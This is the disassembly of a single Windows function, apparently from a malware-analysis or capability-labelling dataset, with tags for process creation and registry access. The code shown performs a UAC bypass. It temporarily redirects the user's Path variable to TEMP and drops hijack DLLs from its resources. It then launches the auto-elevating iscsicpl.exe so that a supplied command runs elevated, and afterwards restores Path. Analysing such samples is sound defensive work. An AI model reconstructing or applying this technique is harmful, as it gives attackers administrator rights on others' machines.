Function at 0x4012f0
Capabilities:
Create process on windows
Query environment variable
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415e7f
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x41e004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebp + 8], 2
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xcc], 0
je 0x401370
push str.____Error__you_must_supply_a_command_e.g._c:windows_system32cmd.exe_n
call fcn.00401070
add esp, 4
mov eax, 1
jmp 0x4019ec
push 0x20a
call fcn.00401f80
mov edx, dword [esi + 4]
add esp, 4
mov ecx, edx
mov ebx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401387
sub ecx, esi
lea eax, [ebp - 0xd0]
push ecx
push edx
push 0x104
push ebx
push eax
call fcn.00407ed1
add esp, 0x14
lea eax, [ebp - 0xd4]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x4013d4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push str.OpenProcessToken_failed._GetLastError_returned:__d_n
jmp 0x4019d5
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0xcc]
push eax
push 0
push 0
push 1
push dword [ebp - 0xd4]
call esi
push dword [ebp - 0xcc]
call fcn.00401f80
push dword [ebp - 0xcc]
mov edi, eax
push 0
push edi
call fcn.00403370
add esp, 0x10
lea eax, [ebp - 0xcc]
push eax
push dword [ebp - 0xcc]
push edi
push 1
push dword [ebp - 0xd4]
call esi
test eax, eax
je 0x4019c7
push dword [ebp - 0xd4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x401460
push str.The_owner_SID_is_invalid._n
call fcn.00401010
push edi
call fcn.00401e28
add esp, 8
or eax, 0xffffffff
jmp 0x4019ec
push 1
push dword [edi]
lea eax, [ebp - 0xe4]
push eax
call dword [sym.imp.ntdll.dll_RtlConvertSidToUnicodeString]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0xdc]
push eax
push 0x2000000
push 0
push dword [ebp - 0xe0]
push 0x80000003
call esi
lea eax, [ebp - 0xd8]
push eax
push 0x2000000
push 0
push str.Environment
push dword [ebp - 0xdc]
call esi
mov esi, eax
test esi, esi
je 0x4014c6
push esi
push str.____RegOpenKeyEx_Ret:_x_n
call fcn.00401070
add esp, 8
jmp 0x4019ea
push 0xfffe
call fcn.00401f80
add esp, 4
mov edi, eax
push 0x7fff
push edi
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 0xfffe
call fcn.00401f80
add esp, 4
mov dword [ebp - 0x138], eax
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xc8], 0x7fff
push ecx
push eax
push 0
push 0xffff
push str.Path
push 0
push dword [ebp - 0xd8]
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov esi, eax
test esi, esi
je 0x40153e
push esi
push str.____RegGetValue_Ret:_x_n
call fcn.00401070
add esp, 8
jmp 0x4019ea
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401543
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 1]
push eax
push edi
push 1
push 0
push str.Path
push dword [ebp - 0xd8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
test esi, esi
je 0x401589
push esi
push str.____RegSetValueExW_Ret:_x_n
call fcn.00401070
add esp, 8
jmp 0x4019ea
mov ecx, edi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401590
sub ecx, edx
mov esi, 2
sar ecx, 1
lea eax, [ecx + 0xe]
xor ecx, ecx
mov dword [ebp - 0xd0], eax
mul esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00401f80
push edi
push str._siscsiexe.dll
push dword [ebp - 0xd0]
mov dword [ebp - 0x130], eax
push eax
call fcn.00401040
mov ecx, edi
add esp, 0x14
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, esi
test ax, ax
jne 0x4015e0
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 0x12]
xor ecx, ecx
mov dword [ebp - 0xd0], eax
mul esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00401f80
push edi
push str._siscsiexe_org.dll
push dword [ebp - 0xd0]
mov esi, eax
push esi
call fcn.00401040
add esp, 0x14
mov edx, esi
mov ecx, 0x66
call fcn.00401200
test al, al
je 0x401970
mov edx, dword [ebp - 0x130]
mov ecx, 0x65
call fcn.00401200
test al, al
je 0x401970
xor eax, eax
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa4], 7
mov dword [ebp - 0xa8], 0
mov word [ebp - 0xb8], ax
mov dword [ebp - 4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x8c], 7
mov dword [ebp - 0x90], eax
mov word [ebp - 0xa0], ax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x74], 7
mov dword [ebp - 0x78], eax
mov word [ebp - 0x88], ax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x5c], 7
mov dword [ebp - 0x60], eax
mov word [ebp - 0x70], ax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x48], eax
mov word [ebp - 0x58], ax
mov ecx, ebx
mov byte [ebp - 4], 4
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4016e5
sub ecx, edx
sar ecx, 1
cmp ecx, 7
ja 0x401716
lea esi, [ecx + ecx]
mov dword [ebp - 0x30], ecx
push esi
lea eax, [ebp - 0x40]
push ebx
push eax
call fcn.004047d0
add esp, 0xc
xor eax, eax
mov word [ebp + esi - 0x40], ax
jmp 0x40172d
push ebx
mov byte [ebp - 0x128], 0
push dword [ebp - 0x128]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00401ad0
xor eax, eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
xor edi, edi
mov dword [ebp - 4], 6
xorps xmm0, xmm0
mov dword [ebp - 0xbc], eax
movq qword [ebp - 0xc4], xmm0
xor ebx, ebx
mov dword [ebp - 0xc4], edi
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0xbc], eax
lea edx, [ebp - 0xa4]
mov byte [ebp - 4], 7
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x128], 7
mov esi, ebx
sub esi, edi
sar esi, 1
mov dword [ebp - 0x134], esi
lea ecx, [esi + 1]
add ecx, dword [edx - 4]
cmp ecx, esi
jae 0x4017b1
lea ebx, [edi + ecx*2]
jmp 0x401811
jbe 0x401817
mov eax, dword [ebp - 0x12c]
sub eax, edi
sar eax, 1
cmp ecx, eax
jbe 0x4017ee
push ecx
push ecx
lea ecx, [ebp - 0xc4]
call fcn.00401c00
mov eax, dword [ebp - 0xbc]
mov ebx, dword [ebp - 0xc0]
mov edi, dword [ebp - 0xc4]
mov edx, dword [ebp - 0x124]
mov dword [ebp - 0x12c], eax
jmp 0x401817
sub ecx, esi
lea esi, [ebx + ecx*2]
mov eax, esi
sub eax, ebx
push eax
push 0
push ebx
call fcn.00403370
mov edx, dword [ebp - 0x124]
mov ebx, esi
mov esi, dword [ebp - 0x134]
add esp, 0xc
mov dword [ebp - 0xc0], ebx
mov ax, word [edx - 4]
lea esi, [esi + 1]
mov word [edi + esi*2 - 2], ax
lea eax, [edi + esi*2]
cmp dword [edx], 8
lea esi, [edx - 0x14]
jb 0x40183e
mov ecx, dword [ebp - 0x124]
mov edx, dword [esi]
mov ecx, dword [ecx - 4]
lea ecx, [edx + ecx*2]
jmp 0x401846
mov ecx, dword [edx - 4]
lea ecx, [esi + ecx*2]
jb 0x401848
mov esi, dword [esi]
sub ecx, esi
push ecx
push esi
push eax
call fcn.004047d0
mov edx, dword [ebp - 0x124]
add esp, 0xc
add edx, 0x18
sub dword [ebp - 0x128], 1
mov dword [ebp - 0x124], edx
jne 0x401796
push 0
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
sub ebx, edi
mov esi, eax
sar ebx, 1
lea ecx, [ebx + ebx]
push ecx
push edi
push 0x409
push 7
push 6
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov ecx, 0x3c
lea eax, [ebp - 0x120]
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4018b0
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], 0x3c
push eax
mov dword [ebp - 0x11c], 0x40
mov dword [ebp - 0x110], str.c:Windows_syswow64iscsicpl.exe
mov dword [ebp - 0x10c], 0x41bfd0
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x104], 5
mov dword [ebp - 0x114], ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x401917
push str.___Success_n
call fcn.00401070
add esp, 4
mov byte [ebp - 4], 6
test edi, edi
je 0x401954
mov eax, dword [ebp - 0x12c]
sub eax, edi
sar eax, 1
lea ecx, [eax + eax]
mov eax, edi
cmp ecx, 0x1000
jb 0x40194a
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a08
push ecx
push edi
call fcn.00401f72
add esp, 8
push 0x401a70
push 7
push 0x18
lea eax, [ebp - 0xb8]
mov dword [ebp - 4], 0xffffffff
push eax
call fcn.00401e5d
mov esi, dword [ebp - 0x138]
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401980
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 1]
push eax
push esi
push 1
push 0
push str.Path
push dword [ebp - 0xd8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
test esi, esi
je 0x4019c3
push esi
push str.____RegSetValue_Ret:_x_n
call fcn.00401070
add esp, 8
jmp 0x4019ea
xor eax, eax
jmp 0x4019ec
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push str.GetTokenInformation_failed._GetLastError_returned:__d_n
call fcn.00401010
add esp, 8
test esi, esi
jle 0x4019ea
movzx esi, si
or esi, 0x80070000
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401e1a
mov esp, ebp
pop ebp
ret
call fcn.004080ad
int3